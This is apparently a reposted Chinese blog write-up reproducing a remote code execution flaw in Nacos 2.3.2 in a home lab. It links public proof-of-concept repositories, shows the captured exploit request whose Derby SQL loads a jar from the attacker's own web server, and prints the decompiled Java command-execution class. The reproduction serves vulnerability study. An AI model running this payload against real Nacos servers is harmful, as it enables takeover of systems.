0


nacos 1day保姆级复现

产品概述

NACOS是一个开源的服务发现、配置管理和服务治理平,属于阿里巴巴的一款开源产品

image-20240720090243294

2.3.2版本的nacos存在远程代码执行漏洞,攻击者可以在远程服务器上执行任意代码,进而让攻击者完全控制受影响的系统,导致严重的安全问题

环境搭建

我的环境是搭建在虚拟机Ubuntu上的,折腾搭建靶场也折腾了蛮久的,主要是编译太久了,大概有一个小时才编译好吧,这里我会详细记录每一步搭建过程,以帮助大家更好地搭建靶场

我的Ubuntu版本是22.0.4TLS版本,我觉得版本影响应该不是很大,首先要确保自己的虚拟机里有JDK环境,如果你是新搭建的虚拟机,我建议先要安装JDK,使用如下的命令安装JDK

sudoaptinstall openjdk-17

安装好JDK后我们去GitHub上拉取项目,项目地址如下

https://github.com/alibaba/nacos/releases/tag/2.3.2

我这里使用的是git clone,相关命令如下所示

git clone https://github.com/alibaba/nacos.git
cd nacos
git checkout tags/2.3.2 #将2.3.2版本的标签提取出来git describe --tags#查看自己的版本是不是2.3.2sudoaptinstall maven #安装maven
mvn -Prelease-nacos -Dmaven.test.skip=true clean install-U#构建项目,这一步时间比较长,耐心等待,我构建了快1个小时cd distribution/target
unzip nacos-server-2.3.2.zip
cd nacos/bin
./startup.sh -m standalone #启动项目

5c85ffa8-6389-4b21-a350-ccfa9774719d

出现上面的结果就代表成功,我们直接用浏览器访问我们虚拟机的8848端口(记得提前放行),比如我访问

http://192.168.153.133:8848/nacos/

就可以打开我们想要的靶机,如下图所示

image-20240720093000574

漏洞复现

我们先去github上把poc下载下来,但是现在好像被删了,还好我已经下载了

https://github.com/ayoundzw/nacos-poc
https://github.com/ikun123234/nacos-poc #上面那个访问不了就去这里下载

image-20240720094306472

在实现漏洞复现之前,要先安装好requirements.txt中的东西,即安装好flask和requests,然后我们将config.py中的host改成自己本机局域网IP,端口设置为没被占用的端口,这里实际上是让我们启动一个web服务,然后让nacos去访问我的web服务的内容

image-20240720095034460

运行命令

python service.py

启动web服务,出现下面的情况就代表我们服务启动成功

image-20240720095342230

然后我们再运行一下

python exploit.py 

,看看会有什么效果出现

我们可以发现会弹出计算器,因为我们输入的默认命令就是

calc;

达到任意命令执行的目的,复现成功

漏洞分析

有点看不太懂这个漏洞,和内存🐎有点关系,这边直接嫖带头大哥的解释了

当我们运行我们的指令的时候,会发现我们会去请求service.py启动的web服务的./download模块

我们转到service.py,看到里面写了个payload

image-20240720112821731

很显然,根本看不懂在写些什么,我们先看exploit.py干了什么,在exploit.py中加个代理,抓取的数据包如下

POST /nacos/v1/cs/ops/data/removal HTTP/1.1
Host: host
User-Agent: python-requests/2.28.2
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 488
Content-Type: multipart/form-data; boundary=111111111111111111111111

--11111111111111111111111111111
Content-Disposition: form-data; name="file"; filename="file"

CALL sqlj.install_jar('http://192.168.197.56:8000/download', 'NACOS.aKjwPoiU', 0)

        CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.aKjwPoiU')

        CREATE FUNCTION S_EXAMPLE_aKjwPoiU( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'

--111111111111111111111111111111--

我们可以直接执行service的url地址,比如

http://192.168.153.1:8000/download

直接保存为1.jar,反编译就可以看见里面的内容

image-20240720114617842

我们可以直接执行,就可以弹计算器了

publicclassExample{publicstaticvoidmain(String[] args){String ret =exec("ipconfig");System.out.println(ret);}publicstaticStringexec(String cmd){StringBuffer bf =newStringBuffer();try{String charset ="utf-8";String osName =System.getProperty("os.name");if(osName !=null&& osName.startsWith("Windows")){
                charset ="gbk";}Process p =Runtime.getRuntime().exec(cmd);InputStream fis = p.getInputStream();InputStreamReader isr =newInputStreamReader(fis, charset);BufferedReader br =newBufferedReader(isr);while(true){String line = br.readLine();if(line ==null){return bf.toString();}
                bf.append(line);}}catch(Exception e){StringWriter writer =newStringWriter();PrintWriter printer =newPrintWriter(writer);
            e.printStackTrace(printer);try{
                writer.close();
                printer.close();}catch(IOException e2){}return"ERROR:"+ writer.toString();}}}

所以基本步骤是生成一个jar,然后转化为base64的bin。填入servic.py里面的payload就行,应该是利用nacos的sql注入漏洞就可以导致一系列的连锁反应,敬佩大佬!!!

标签: 安全 python

本文转载自: https://blog.csdn.net/jnszstmei/article/details/140568831
版权归原作者 borgeous 所有, 如有侵权,请联系我们删除。

“nacos 1day保姆级复现”的评论:

还没有评论